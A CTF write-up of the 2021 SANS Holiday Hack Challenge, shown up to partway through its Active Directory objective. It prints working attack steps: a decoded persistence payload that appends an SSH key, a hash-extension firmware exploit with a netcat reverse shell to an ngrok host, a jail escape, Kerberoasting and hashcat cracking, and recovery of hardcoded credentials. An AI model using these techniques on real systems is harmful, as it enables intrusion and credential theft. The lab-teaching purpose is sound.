This page looks best with JavaScript enabled

KringleCon 4: Calling Birds

The 2021 SANS HolidayHack Challenge

 ·  ‚ėē 81 min read  ·  ūüéÖ noobintheshell
The SANS Holiday Hack Challenge is back! And with it, the fourth edition of KringleCon and Jack Frost!
The fourth edition of Kringlecon was a blast! This year challenges were covering webapp hacking (SQLi, SSRF, business logic issues), binary analysis, digital forensics (logs and network capture analysis), Active Directory attacks, learning Python and shellcoding, some encryption attack, analyzing an IMDS service and FPGA programming. Two challenges on Log4Shell were added as well during the challenge.
KringleCon is as well an online security conference and you can find all the talks on KringleCon’s Youtube channel. The same Discord channel as last year was available interact with the community.
A special thanks goes to the whole Counter Hack team for their incredible work! Each year the bar is raised!

Objectives

1 - KringleCon Orientation


Difficulty Objectives Location
1/5 Talk to Jingle Ringford - Jingle will start you on your journey! Orientation
1/5 Get your badge - Pick up your badge Orientation
1/5 Get the wifi adapter - Pick up the wifi adapter Orientation
1/5 Use the terminal - Click the computer terminal Orientation

For the first objective, there is no real challenge. This is a prologue where we need to talk to the elf then grab a Wi-Fi Dongle on the floor.

Objective 1 location
Objective 1 location

The dongle gives us access to a new version of the Cranberry Pi with Wi-Fi support that we can access from the main menu.

*Cranberry Pi* with *Wi-Fi* support
Cranberry Pi with Wi-Fi support

A Cranberry Pi appears after that on the table next to the elf. We open the terminal and follow the instruction (enter answer in the top pane) to validate the objective and open the gate to Santa’s castle.

2 - Where in the World is Caramel Santaigo


Difficulty Objective Courtyard
1/5 Help Tangle Coalbox find a wayward elf in Santa’s courtyard. Talk to Piney Sappington nearby for hints. Courtyard

We access an OSINT game called Where in the World is Caramel Santaigo.

WHERE IN THE WORLD IS CARAMEL SANTAIGO?
WHERE IN THE WORLD IS CARAMEL SANTAIGO?

The goal is to follow the steps of an elf around the world. To help with that we get 3 hints for each places he visited along the way when using the Investigate button. By using the Depart by sleigh button, we get 3 possible destinations. Only one is right. Moreover, each time we do an action, we lose 1 hour. We start on Monday 9am at Santa’s castle and need to find the elf by Sunday.

Each time the game is restarted, the hints and the locations are randomized. There are 3 cities to visit only and at the end we need to find who was the elf we followed. We can use the Visit Interink along the way to help narrowing down the elf based on the hints we get.

Investigation start
Investigation start

We can play the game normally and complete it quite easily by reading the hints everytime. But where is the fun? Let’s analyze the application and the calls that are done to see if we can cheat.

As soon as we start the game, we get a weird cookie called Cookiepella with a value that looks like a JWT token. Here is an example:

.eJyFUktz0zAQ_is74sDFYWzHsdPcSqdAZoB2mnJgEg5raW0Ly5JHlpMJnf53Vm25UbjZ-720jwdBphEbsRvR94bgjlRN3p9FEoFP2oZJbPbiviPgfxjIBu0sKZjcQKHTtgWs3RxgF1D2cHMk3xh3ArQKrt68Y5ubLoEtWBe0ZFno6AwdKsCo8HDvqY_FgbGxY2eQOFHU_YlsXQBPaAzrCAPzngPnKYZPI0qaoHEetFX8uulFe4aexgCyI9lHImdojjvpEMgDjmPkdeiV-JEI4yTGvuIg0AZ8O8EVTsEQc9wYkTiFvfhKJ_jufJ_At90lY9dK23r2Lbe4ky4Y7pqrX5wN_jCnKV2gSdjJokKO2Ys7Ovc_8fiEKXbZSnrR3HpsZ2LyL5Idb2Gca6MlA5-dVc4mcG3bJ2q0ubThRH5M4D2ZVs8D03ZhDqFFHxL4SH5AGzf4WtwrHreGZ9k5o8hHsTui1TToBD5o-6zjUXn-cMOOSIlNXmVc4GVQvJG_t_2P1v7zBA47ahmcP9-7nuJuHvhypm5zELIslnRRq6zMaollkVKBWKUyX3OpwTwrVpmqViWuqKnWqkpXVZ5V5XJZ1VgVq-ogEr6pyc1e0lZt4CCKpSyzdZ4vqjJLF0WxXi4wTS8WqNhB5bJZ581BPIrH36DVC60.YdYWfA.hkKTK_joXgSaNT0J768-NW2wD2o

There are 3 different part in this “token” separated by a dot. The first part is the interesting one. If we Base64-decode it, we see that the resulting hex data starts with 0x789c which is the magic header for a ZLIB compression. We can use this CyberChef recipe to decompress that easily. We get:

{“elf”:“Sparkle Redberry”,“elfHints”:[“The elf mentioned something about Stack Overflow and C#.”,“Oh, I noticed they had a Star Trek themed phone case.”,“The elf got really heated about using spaces for indents.”,“They kept checking their Twitter app.”,“hard”],“location”:“Santa’s Castle”,“options”:[[“New York, USA”,“Edinburgh, Scotland”,“Montr\u00e9al, Canada”],[“Reykjav\u00edk, Iceland”,“Prague, Czech Republic”,“London, England”],[“Antwerp, Belgium”,“Stuttgart, Germany”,“Reykjav\u00edk, Iceland”],[“Antwerp, Belgium”,“Placeholder”,“Rovaniemi, Finland”]],“randomSeed”:271,“route”:[“Montr\u00e9al, Canada”,“Prague, Czech Republic”,“Antwerp, Belgium”,“Placeholder”],“victoryToken”:"{ hash:"c643e9bd161bca640e4aa70c28d16fa21451d756a5ef78d70572176337ba7457", resourceId: "43c61822-7610-4483-a009-adef7d2cf82f"}"}

We can read who is the elf that we are following: Sparkle Redberry; as well as the route he took: Montréal => Prague => Antwerp.

We can complete the game and the objective with this information!

3 - Thaw Frost Tower’s Entrance


Difficulty Objective Location
2/5 Turn up the heat to defrost the entrance to Frost Tower. Click on the Items tab in your badge to find a link to the Wi-fi Dongle’s CLI interface. Talk to Greasy Gopherguts outside the tower for tips. The North Pole

We need to defrost the entrance to the Frost Tower that was frozen by Jack Frost. To accomplish that, we need to reach the thermostat inside the building through a Wi-Fi connection.

Objective 3 location
Objective 3 location

We stop next to the thermostat that we see through the window and open the Wi-Fi CLI. We check with iwconfig what is the wireless interface:

$ iwconfig
wlan0 IEEE 802.11 ESSID:off/any
      Mode:Managed Access Point: Not-Associated Tx-Power=22 dBm
      Retry:off RTS thr:off Fragment thr=7 B
      Power Management:on

Then we scan the wireless networks in range using the wlan0 interface:

$ iwlist wlan0 scanning
wlan0 Scan completed :
      Cell 01 - Address: 02:4A:46:68:69:21
            Frequency:5.2 GHz (Channel 40)
            Quality=48/70 Signal level=-62 dBm
            Encryption key:off
            Bit Rates:400 Mb/s
¬†¬†¬†¬†¬†¬†¬†¬†¬†¬†¬†¬†ESSID:“FROST-Nidus-Setup”

The FROST-Nidus-Setup Wi-Fi network is in reach and full open. We can connect to it with:

$ iwconfig wlan0 essid FROST-Nidus-Setup
** New network connection to Nidus Thermostat detected! Visit http://nidus-setup:8080/ to complete setup
(The setup is compatible with the ‘curl’ utility)

When accessing the Nidus Thermostat setup page we get the following information:

Nidus Thermostat setup page
Nidus Thermostat setup page

And the API documentation can be read through the /apidoc endpoint:

Nidus Thermostat API doc
Nidus Thermostat API doc

The current entrance temperature can be checked without registration with a GET request to the /api/cooler endpoint:

$ curl http://nidus-setup:8080/api/cooler
{
¬†¬†“temperature”: -40.26,
¬†¬†“humidity”: 39.55,
¬†¬†“wind”: 11.12,
¬†¬†“windchill”: -52.08
}

When we try to register the thermostat by calling the /register endpoint, we are asked to enter its serial number…that we do not have. We can try to do a POST request to the /cooler endpoint to raise the temperature as it is the only endpoint that does not require the registration:

$ curl -XPOST -H ‘Content-Type: application/json’ --data-binary ‘{“temperature”: 10}’ http://nidus-setup:8080/api/cooler
{
¬†¬†“temperature”: 10.89,
¬†¬†“humidity”: 40.47,
¬†¬†“wind”: 10.08,
¬†¬†“windchill”: 9.68,
¬†¬†“WARNING”: “ICE MELT DETECTED!”
}

And that’s how we complete the objective. The door is defrost and we can enter the Frost Tower.

4 - Slot Machine Investigation


Difficulty Objective Location
2/5 Test the security of Jack Frost’s slot machines. What does the Jack Frost Tower casino security team threaten to do when your coin total exceeds 1000? Submit the string in the server data.response element. Talk to Noel Boetie outside Santa’s Castle for help. Frost Tower Lobby

The Jack Frost’s Slot Machine is a website that is accessible on https://slots.jackfrosttower.com:

Frosty Slots
Frosty Slots

We start with a credit of 100 coins and the goal is to reach at least 1000. We spin the game and hope to align 3 or more same characters to win. We can change 2 values, the bet size (from 0.1, 0.25 or 0.5) and the bet level (from 1 to 10) that changes the number of coins we bet. The minimum is 2 and the max is 100. If we proxify the call we see the following call to the /spin API endpoint:

API call
API call

And the response looks like:

API call response
API call response

Basically, the 3 values are linked as follows: total bet = betamount * numline * cpl. The only value we can not change in the game is numline and it defaults to 20.

We send this call to the Burp Repeater and start to play with the POST values. We see the following contraints:

  • betamount >= 0
  • cpl > 0
  • numline can be any number positive or negative
  • betamout * numline * cpl <= the credit we have

As numline is not properly validated and accepts negative values, we can set it, for instance, to -20. We get a total bet of -2 which is less than the credit we have. If we spin and lose, this value is substracted from the credit and when we substract a negative value…we add it! So to get 1000 credit in one go, we can simply set betamount=10&numline=-10&cpl=10 and we get the following response:

Vulnerability
Vulnerability
I’m going to have some bouncer trolls bounce you right out of this casino!

5 - Strange USB Device


Difficulty Objective Location
2/5 Assist the elves in reverse engineering the strange USB device. Visit Santa’s Talks Floor and hit up Jewel Loggins for advice. Speaker UNPreparedness Room

For this objective, we will have to analyze a USB Rubber Duckie attack by investigating the USB data found on the USB stick still plugged in.

Objective 5 location
Objective 5 location

The file to analyze is /mnt/USBDEVICE/inject.bin. This file is an encoded version of a Ducky Script that we can reverse engineer with a tool called Mallard. We can find this script in /home/elf/mallard.py. We can simply run ./mallard.py --file /mnt/USBDEVICE/inject.bin:

[TODO] Copy paste the decoded file into GIST!

We see the commands that are executed by the sript. The very last command is weakly obfuscated. The attacker copy his SSH public key into the user’s authorized_keys file for persistence.

$ echo ==gCzlXZr9FZlpXay9Ga0VXYvg2cz5yL+BiP+AyJt92YuIXZ39Gd0N3byZ2ajFmau4WdmxGbvJHdAB3bvd2Ytl3ajlGILFESV1mWVN2SChVYTp1VhNlRyQ1UkdFZopkbS1EbHpFSwdlVRJlRVNFdwM2SGVEZnRTaihmVXJ2ZRhVWvJFSJBTOtJ2ZV12YuVlMkd2dTVGb0dUSJ5UMVdGNXl1ZrhkYzZ0ValnQDRmd1cUS6x2RJpHbHFWVClHZOpVVTpnWwQFdSdEVIJlRS9GZyoVcKJTVzwWMkBDcWFGdW1GZvJFSTJHZIdlWKhkU14UbVBSYzJXLoN3cnAyboNWZ | rev | base64 -d

echo ‘ssh-rsa UmN5RHJZWHdrSHRodmVtaVp0d1l3U2JqZ2doRFRHTGRtT0ZzSUZNdyBUaGlzIGlzIG5vdCByZWFsbHkgYW4gU1NIIGtleSwgd2UncmUgbm90IHRoYXQgbWVhbi4gdEFKc0tSUFRQVWpHZGlMRnJhdWdST2FSaWZSaXBKcUZmUHAK ickymcgoop@trollfun.jackfrosttower.com’ » ~/.ssh/authorized_keys

ickymcgoop

6 - Shellcode Primer


Difficulty Objective Location
3/5 Complete the Shellcode Primer in Jack’s office. According to the last challenge, what is the secret to KringleCon success? “All of our speakers and organizers, providing the gift of ____, free to the community.” Talk to Chimney Scissorsticks in the NetWars area for hints. Jack’s Office
Objective 6 location
Objective 6 location

We have to go through a primer on 64-bit shellcoding. The training starts at https://tracer.kringlecastle.com/.

Shellcode Primer
Shellcode Primer

We will have multiple exercices to complete. The very first one is just the “Introduction” to get familiarized with the interface. We can simply read the description and click the Execute button. The next one is again only a tutorial about “Loops”:

Loops
Loops

Again here, we do not have much to do except to execute the code and to analyze each step to understand what the debugger does. The interesting things start with the next exercise “Getting Started”:

Getting Started
Getting Started

The only thing to do here is to return and…that’s it:

1
ret

The fourth exercise “Returning a Value” is about returning a simple integer value:

1
2
mov rax, 1337
ret

The fifth exercise “System Calls” is about syscalls. We need to call sys_exit with exit code 99. For that we can use this reference website. The sys_exit syscall number is 60. As per 64-bit calling convention, the first argument must be stored in the rdi register.

1
2
3
mov rax, 60             ; sys_exit
mov rdi, 99             ; exit code
syscall

The next exercise “Calling into the Void” is there only to show a crash when accessing an invalid memory address. Nothing to be done. Next exercise is “Getting RIP”. The goal here is to retrieve the rip address that cannot be directly retrieved after a call. One possibility is to pop the value from the stack right after the call saves its return value:

1
2
3
4
5
call place_below_the_nop
nop
place_below_the_nop:
  pop rax
  ret

Exercise 8 is “Hello, World!” where we need to return a pointer to that string:

1
2
3
4
5
call place_below_the_hello
db 'Hello World',0
place_below_the_hello:
  pop rax
  ret

Next, we need to print “Hello, World!!” to standard output. The sys_write syscall number is 1. The call takes 3 arguments, a pointer to the file descriptor (stdout=1), the pointer to the string to print and the length of the string in bytes. As per the 64-bit calling convention, the first argument must be in rdi, the second in rsi and the third in rdx:

1
2
3
4
5
6
7
8
9
call place_below_the_hello
db 'Hello World!',0
place_below_the_hello:
  mov rax, 1            ; sys_write
  mov rdi, 1            ; stdout
  pop rsi               ; 'Hello World!'
  mov rdx, 12           ; string length
  syscall
  ret

In “Opening a File”, we want to open the /etc/passwd file by calling sys_open. The syscall number is 2 and it takes 3 arguments, a pointer to the file name, the flags (0 will do fine), the mode (0 as well):

1
2
3
4
5
6
7
8
9
call place_below_the_file
db '/etc/passwd',0
place_below_the_file:
  mov rax, 2            ; sys_open
  pop rdi               ; '/etc/passwd'
  mov rsi, 0            ; flags
  mov rdx, 0            ; mode
  syscall
  ret

With “Reading a File” we need to read a specific file /var/northpolesecrets.txt and write it to stdout. We will need to open the file with sys_open (2), read the file with sys_read (0), write the file to stdout with sys_write (1) and exit with sys_exit (60):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
call place_below_the_file
db '/var/northpolesecrets.txt',0
place_below_the_file:
  mov rax, 2            ; sys_open
  pop rdi               ; '/var/northpolesecrets.txt'
  mov rsi, 0            ; flags
  mov rdx, 0            ; mode
  syscall

  mov rdi, rax          ; file descriptor
  mov rax, 0            ; sys_read
  mov rsi, rsp          ; buffer for reading
  mov rdx, 1000         ; read 1000 bytes
  syscall

  mov rdx, rax          ; string length
  mov rax, 1            ; sys_write
  mov rdi, 1            ; stdout
  mov rsi, rsp          ; file content
  syscall

  mov rax, 60           ; sys_exit
  mov rdi, 99
  syscall

The output message is:

Secret to KringleCon success: all of our speakers and organizers, providing the gift of cyber security knowledge, free to the community.
cyber security knowledge

7 - Printer Exploitation


Difficulty Objective Location
4/5 Investigate the stolen Kringle Castle printer. Get shell access to read the contents of /var/spool/printer.log. What is the name of the last file printed (with a .xlsx extension)? Find Ruby Cyster in Jack’s office for help with this objective. Jack’s Office

We access a printer management web interface and the goal is to exploit the firmware to read a file on the printer system.

Printer management interface
Printer management interface

The Settings are protected by a password and trying some default passwords does not work. From the Firmware Update page, we can download the current firmware to analyse. This is a JSON file that is quite short and that contains the firmware data encoded in Base64, what seems its SHA256 signature and a secret_length value that is makes no real sense at this point.

firmware-export.json
firmware-export.json

We can decode the data as follows:

$ echo “UEsDBBQAAAAIAEWlkFMWoKjwagkA[…]dXgLAAEEAAAAAAQAAAAAUEsFBgAAAAABAAEAUgAAALAJAAAAAA==” | base64 -D > firmware

$ file firmware
firmware: Zip archive data, at least v2.0 to extract

$ unzip firmware
$ file firmware.bin
firmware.bin: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=fc77960dcdd5219c01440f1043b35a0ef0cce3e2, not stripped

We get a unique firmware.bin ELF executable that is not stripped, so will be easier to analyze. We can open it with Ghidra. However, it looks like a dummy firmware that does nothing else that outputing a message:

Firmware main function
Firmware main function

If we alter some byte of the firmware data in the JSON file and try to update the firmware in the mangement console, we get the following error:

Firmware update failed:

Failed to verify the signature! Make sure you are signing the data correctly: sha256(<secret> + raw_file_data)

By raw_file_data, we suppose it means the ZIP file. This leaves the firmware vulnerable to a Hash Extension Attack as it ticks all the boxes:

  • the secret is prepended to the hashed data
  • the hash algorithm is susceptible to this kind of attack
  • we have the secret length

The idea that comes into mind for the whole attack at this point is:

  • create an executable payload and ZIP it
  • append this additional ZIP file to the firmware ZIP archive (by concatenating 2 such files, only the second one will be unpacked and executed)
  • compute the new valid hash using the Hash Extension Attacks
  • reconstruct the JSON file with the new data and hash
  • upload the printer firmware

Let’s first try to bypass the signature verification with dummy data appended to the ZIP archive. Let’s append 12345 and use hash_extender to compute the new hash and data.

The following command will generate the new hash. The signature is the one found in the firmware we have downloaded:

$ ./hash_extender --file firmware --append 12345 --signature 2bab052bf894ea1a255886fde202f451476faba7b941439df629fdeb1ff0dc97 --secret 16 --format sha256
hash_extender
hash_extender

Let’s retrieve the new signature and the new data. For the new firmware data, we can directly compute its Base64 string. Then we can replace the values of the JSON file with these ones:

# get new file data in base64
$ HASH=$(./hash_extender --file firmware --append 12345 --signature 2bab052bf894ea1a255886fde202f451476faba7b941439df629fdeb1ff0dc97 --secret 16 --format sha256 | tail -3 | head -1 | cut -d' ' -f 3)

# get the signature
$ FIRMWARE_B64=$(./hash_extender --file firmware --append 12345 --signature 2bab052bf894ea1a255886fde202f451476faba7b941439df629fdeb1ff0dc97 --secret 16 --format sha256 | tail -2 | head -1 | cut -d' ' -f 3 | xxd -r -p | base64)

# modify JSON file
# -i_bak modifies the file in place but creates a backup file with _bak suffix
# -E enables support for extended regexes, necessary to use \1, \2 flags
$ sed -i_bak -E -e 's|(signature":").*(","sec)|\1'"$HASH"'\2|g' -e 's|(firmware":").*(","sig)|\1'"$FIRMWARE_B64"'\2|g' firmware-export.json

We upload the new firmware and see that the signature validation passes! Now, onto the real payload. The objective of this challenge is to retrieve the /var/spool/printer.log file. To do so, we could copy it in the /app/lib/public/incoming folder that will make it accessible under https://printer.kringlecastle.com/incoming/.

Let’s first try with a basic shell payload and see if it gets executed. The payload will look like:

#!/bin/bash
cp /var/spool/printer.log /app/lib/public/incoming/noob.log

Make sure to make it executable (just in case) with chmod +x payload.sh.

Then we zip it with zip payload.zip payload.sh and reuse the same commads as above to modify the JSON file. But how to append the file data? --append $(cat payload.zip) does not work as the data is truncated due to the null bytes. A way that worked was to use hexdump to get a hex string of the file and add the --append-format hex flag to the command. The commands become:

$ HASH=$(./hash_extender --file firmware --append $(hexdump -ve '1/1 "%.2x"' payload.zip) --append-format hex --signature 2bab052bf894ea1a255886fde202f451476faba7b941439df629fdeb1ff0dc97 --secret 16 --format sha256 | tail -3 | head -1 | cut -d' ' -f 3)

$ FIRMWARE_B64=$(./hash_extender --file firmware --append $(hexdump -ve '1/1 "%.2x"' payload.zip) --append-format hex --signature 2bab052bf894ea1a255886fde202f451476faba7b941439df629fdeb1ff0dc97 --secret 16 --format sha256 | tail -2 | head -1 | cut -d' ' -f 3 | xxd -r -p | base64)

$ sed -i_bak -E -e 's|(signature":").*(","sec)|\1'"$HASH"'\2|g' -e 's|(firmware":").*(","sig)|\1'"$FIRMWARE_B64"'\2|g' firmware-export.json

But when we upload the firmware, we get the following error:

Firmware update failed:

Failed to parse the ZIP file: Could not extract firmware.bin from the archive:

$ unzip ‘/tmp/20211225-1-1uqipjq’ ‘firmware.bin’ -d ‘/tmp/20211225-1-1uqipjq-out’ 2>&1 && /tmp/20211225-1-1uqipjq-out/firmware.bin

Archive: /tmp/20211225-1-1uqipjq
warning [/tmp/20211225-1-1uqipjq]: 2608 extra bytes at beginning or within zipfile
(attempting to process anyway)
caution: filename not matched: firmware.bin

We rename our shell script to firmware.bin, zip it again and modifiy our JSON file accordingly. The firmware is accepted, and when querying https://printer.kringlecastle.com/incoming/noob.log, we get the following information:

Documents queued for printing
=============================

Biggering.pdf
Size Chart from https://clothing.north.pole/shop/items/TheBigMansCoat.pdf
LowEarthOrbitFreqUsage.txt
Best Winter Songs Ever List.doc
Win People and Influence Friends.pdf
Q4 Game Floor Earnings.xlsx
Fwd: Fwd: [EXTERNAL] Re: Fwd: [EXTERNAL] LOLLLL!!!.eml
Troll_Pay_Chart.xlsx

Let’s try to have a reverse shell just for fun. We can use ngrok to expose a public TCP endpoint that will forward the traffic locally. We run it with ngrok tcp 1337 where 1337 is the local port. We can then use the forwarding endpoint given in our firmware.bin file with Netcat:

#!/bin/bash
nc 6.tcp.ngrok.io 14681 -e /bin/bash

Once this endpoint is hit, the traffic will be forwarding on local host on port 1337 so we spawn a Netcat listener with nc -lnvp 1337. We rebuild our JSON file and upload it. We get a reverse shell instantly!

Reverse shell
Reverse shell

We can now explore the remote host. We can a well upgrade our shell to a full interactive TTY by following this procedure. We can find the following additional information:

  • the source code of the app is in /app/lib/app.rb
  • the secret key used is mybigsigningkey!
  • there is a secret route /secretendpointforuptime that returns the message follow the white rabbit....
Troll_Pay_Chart.xlsx

8 - Kerberoasting on an Open Fire


Difficulty Objective Location
5/5 Obtain the secret sleigh research document from a host on the Elf University domain. What is the first secret ingredient Santa urges each elf and reindeer to consider for a wonderful holiday season? Start by registering as a student on the ElfU Portal. Find Eve Snowshoes in Santa’s office for hints. Online

We access the Elf University Student Registration portal. When we register, we get access to the university internal domain and services through SSH:

ElfU Registration Portal
ElfU Registration Portal

Once we log in, we access a student portal:

Elf University Student Grades Portal
Elf University Student Grades Portal

First thing to do it to escape this “jail”. We do not know what kind of application it is and after playing with some code injection or other SSH commands, a simple CRTL-D generates an error that gives access to the Python interpreter. From there we get a shell with os.system('/bin/bash'):

Python jail escape
Python jail escape

Let’s change the user shell with chsh so we do not come to the same jail each and every time we log in:

Change user shell
Change user shell

From the output of the command, we see that the grade application is found in /opt/grading_system. But nothing special is to be seen there. Let’s check if there are hosts alive on the network. The subnet we are in is 172.17.0.0/16. Running a ping sweep scan gives us the following hosts:

$ nmap -sP -T5 172.17.0.0/16
[…]
Nmap scan report for 172.17.0.1
Host is up (0.00042s latency).
Nmap scan report for grades.elfu.local (172.17.0.2)
Host is up (0.00036s latency).
Nmap scan report for 172.17.0.3
Host is up (0.00028s latency).
Nmap scan report for 172.17.0.4
Host is up (0.00039s latency).
Nmap scan report for 172.17.0.5
Host is up (0.00051s latency).

If we check our routing table, we see routes for other subnets:

Routing table
Routing table

Scanning those subnets shows these additional hosts alive:

hhc21-windows-linux-docker.c.holidayhack2021.internal (10.128.1.4)
10.128.2.3-202
10.128.3.25-60

The hhc21-windows-linux-docker.c.holidayhack2021.internal host is the webserver hosting the ElfU Registration Portal. The hosts 172.17.0.3-5 are Windows hosts (SMB ports are open). Moreover, 172.17.0.4 is an Active Directory server with the usual ports open. Most of the hosts on the 10.x.x.x subnet have all the same ports open (22, 80, 2222 or with additional 139, 445 ports) except for 10.128.3.30 that seems to be another Active Directory server.

Additionally, when scanning with the -PS22,445 option, we get yet another Domain Contoller with IP 10.128.1.53 that resolves to hhc21-windows-dc.c.holidayhack2021.internal.

Let’s try to enumerate available shares accross all the subnets with nmap --script smb-enum-shares -p445 <subnet>. The only server that we can enumerate are the two domain controllers 172.17.0.3 and 10.128.3.30. We see the same interesting shares on both server, but they all require authentication. Actually, both IP addresses seem to be of the same server called share30:

elfu_svc_shr
research_dep

With the smb-os-discovery Nmap script, we get the domain name elfu.local:

Host script results:
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: share30
|   NetBIOS computer name: SHARE30\x00
|   Domain name: elfu.local
|   FQDN: share30.elfu.local
|_ System time: 2022-01-02T10:37:07+00:00

The user we get from the ElfU Registration Portal is a domain user. Unfortunately we do not have access to the above shares, but we can confirm that by accessing the netlogon or the sysvol shares from the Powershell terminal that is available on the box:

$ pwsh
PS /home/inmwurtvsq> smbclient \\10.128.3.30\sysvol -U elfu\inmwurtvsq
Enter ELFU\inmwurtvsq’s password:
Try “help” to get a list of possible commands.
smb: > dir
  .    D   0 Fri Oct 29 19:29:49 2021
  ..   D   0 Sun Jan 2 08:01:40 2022
elfu.local D 0 Fri Oct 29 19:29:49 2021

  41089256 blocks of size 1024. 34507796 blocks available

However, both shares are empty.

Let’s now copy a few tools on the box. Namely, Impacket that we get first on our box from their Github account.

$ git clone https://github.com/SecureAuthCorp/impacket.git
$ scp -P 2222 -r ./impacket/ inmwurtvsq@grades.elfu.org:/home/inmwurtvsq/impacket

Let’s try to find any Kerberoastable user on hhc21-windows-dc (the other server, even with LDAP open ports, does not respond to LDAP queries). We can user the Impacket script GetUserSPNs.py as follows:

Kerberoastable user
Kerberoastable user

We get the hash of the user elfu_svc that we can try to crack with hashcat back on our own box. But first we need a wordlist. One of the hints for this challenge was to use cewl to generate a custom wordlist based on the ElfU Registration Portal website and use the OneRuleToRuleThemAll.rule mangling rule for hashcat. CeWL can be installed from this Github repository. Let’s add as well the --with-numbers flag to cewl so words with numbers are not excluded, like the ones found in a comment in the source code:

<!– Remember the groups battling to win the karaoke contest earleir this year? I think they were rocks4socks, cookiepella, asnow2021,
v0calprezents, Hexatonics, and reindeers4fears. Wow, good times! –>

We can execute the following:

$ wget https://raw.githubusercontent.com/NotSoSecure/password_cracking_rules/master/OneRuleToRuleThemAll.rule
$ ./CeWL/cewl.rb https://register.elfu.org/register --with-numbers > wordlist.txt
$ wc -l wordlist.txt
  78 wordlist.txt
$ hashcat -m 13100 -a 0 ./spns.txt -r ./OneRuleToRuleThemAll.rule ./wordlist.txt

And the elfu_svc password is Snow2021!. Let’s see if this user can read the 2 shares we identified previously. So back to the grades host. We have access to a bunch of Powershell scripts in the elfu_svc_shr share:

$ pwsh
PS /home/inmwurtvsq> smbclient \\10.128.3.30\elfu_svc_shr -U elfu\elfu_svc
Enter ELFU\elfu_svc’s password:
Try “help” to get a list of possible commands.
smb: > dir
  .   D 0 Thu Dec 2 16:39:42 2021
  ..  D 0 Sun Jan 2 08:01:34 2022
  Get-NavArtifactUrl.ps1 N 2018 Wed Oct 27 19:12:43 2021
  Get-WorkingDirectory.ps1 N 188 Wed Oct 27 19:12:43 2021
  Stop-EtwTraceCapture.ps1 N 924 Wed Oct 27 19:12:43 2021
  create-knownissue-function.ps1 N 2104 Wed Oct 27 19:12:43 2021
  PsTestFunctions.ps1 N 52454 Wed Oct 27 19:12:43 2021
  StoreIngestionApplicationApi.ps1 N 108517 Wed Oct 27 19:12:43 2021
  Compile-ObjectsInNavContainer.ps1 N 4431 Wed Oct 27 19:12:43 2021
  Run-ConnectionTestToNavContainer.ps1 N 13856 Wed Oct 27 19:12:43 2021
  StoreIngestionIapApi.ps1 N 80725 Wed Oct 27 19:12:43 2021
  Test-SdnKnownIssue.ps1 N 4384 Wed Oct 27
[…]

Let’s try to find some hardcoded credentials in those scripts. We can copy the files on the grades host and then grep them:

smb: > prompt OFF
smb: > mget *
smb: > exit

We can search the script for the ConvertTo-SecureString flag which is often used to create a Credential object. We find this string in 12 files with grep -Ri "ConvertTo-SecureString" ./*.ps1. By searching the string elfu.local, we get only one hit in GetProcessInfo.ps1:

1
2
3
4
$SecStringPassword = "76492d1116743f0423413b16050a5345MgB8AGcAcQBmAEIAMgBiAHUAMwA5AGIAbQBuAGwAdQAwAEIATgAwAEoAWQBuAGcAPQA9AHwANgA5ADgAMQA1ADIANABmAGIAMAA1AGQAOQA0AGMANQBlADYAZAA2ADEAMgA3AGIANwAxAGUAZgA2AGYAOQBiAGYAMwBjADEAYwA5AGQANABlAGMAZAA1ADUAZAAxADUANwAxADMAYwA0ADUAMwAwAGQANQA5ADEAYQBlADYAZAAzADUAMAA3AGIAYwA2AGEANQAxADAAZAA2ADcANwBlAGUAZQBlADcAMABjAGUANQAxADEANgA5ADQANwA2AGEA"
$aPass = $SecStringPassword | ConvertTo-SecureString -Key 2,3,1,6,2,8,9,9,4,3,4,5,6,8,7,7
$aCred = New-Object System.Management.Automation.PSCredential -ArgumentList ("elfu.local\remote_elf", $aPass)
Invoke-Command -ComputerName 10.128.1.53 -ScriptBlock { Get-Process } -Credential $aCred -Authentication Negotiate

This script only executes Get-Process on the Domain Controller with the user remote_elf. We can get its password with the following commands:

1
2
3
4
5
$SecStringPassword = "76492d1116743f0423413b16050a5345MgB8AGcAcQBmAEIAMgBiAHUAMwA5AGIAbQBuAGwAdQAwAEIATgAwAEoAWQBuAGcAPQA9AHwANgA5ADgAMQA1ADIANABmAGIAMAA1AGQAOQA0AGMANQBlADYAZAA2ADEAMgA3AGIANwAxAGUAZgA2AGYAOQBiAGYAMwBjADEAYwA5AGQANABlAGMAZAA1ADUAZAAxADUANwAxADMAYwA0ADUAMwAwAGQANQA5ADEAYQBlADYAZAAzADUAMAA3AGIAYwA2AGEANQAxADAAZAA2ADcANwBlAGUAZQBlADcAMABjAGUANQAxADEANgA5ADQANwA2AGEA"
$aPass = $SecStringPassword | ConvertTo-SecureString -Key 2,3,1,6,2,8,9,9,4,3,4,5,6,8,7,7
$Ptr = \[System.Runtime.InteropServices.Marshal\]::SecureStringToCoTaskMemUnicode($aPass)
$result = \[System.Runtime.InteropServices.Marshal\]::PtrToStringUni($Ptr)
$result

The password is A1d655f7f5d98b10!. This user has still not access to the research_dep share. Let’s see if we can get a shell on the Domain Controller as well. For that we can re-use the code found on Chris Davis' GitHub repository.

1
2
3
$password = ConvertTo-SecureString "A1d655f7f5d98b10!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential -ArgumentList ("elfu.local\remote_elf", $password)
Enter-PSSession -ComputerName hhc21-windows-dc.c.holidayhack2021.internal -Credential $creds -Authentication Negotiate

We are in the DC01 host! Next step would be to read the DACL of some privileged AD groups to see if we have WriteDacl privileges to add users in it and escalate our privileges. This can be tested with the following commands on the Domain Admins group for instance:

1
2
$ADSI = [ADSI]"LDAP://CN=Domain Admins,CN=Users,DC=elfu,DC=local"
$ADSI.psbase.ObjectSecurity.GetAccessRules($true,$true,[Security.Principal.NTAccount])

Unfortunately, we have no rights other than GenericRead. The same with other groups like Administrators or Enterprise Admins. Let’s list the remaining groups to see if we find something else. We can run Get-ADGroup -Filter 'GroupCategory -eq "Security"' and with that we see the following group, that could be used to access the research_dep share!

DistinguishedName : CN=Research Department,CN=Users,DC=elfu,DC=local
GroupCategory     : Security
GroupScope        : Global
Name              : Research Department
ObjectClass       : group
ObjectGUID        : 8dd5ece3-bdc8-4d02-9356-df01fb0e5f3d
SamAccountName    : ResearchDepartment
SID               : S-1-5-21-2037236562-2033616742-1485113978-1108

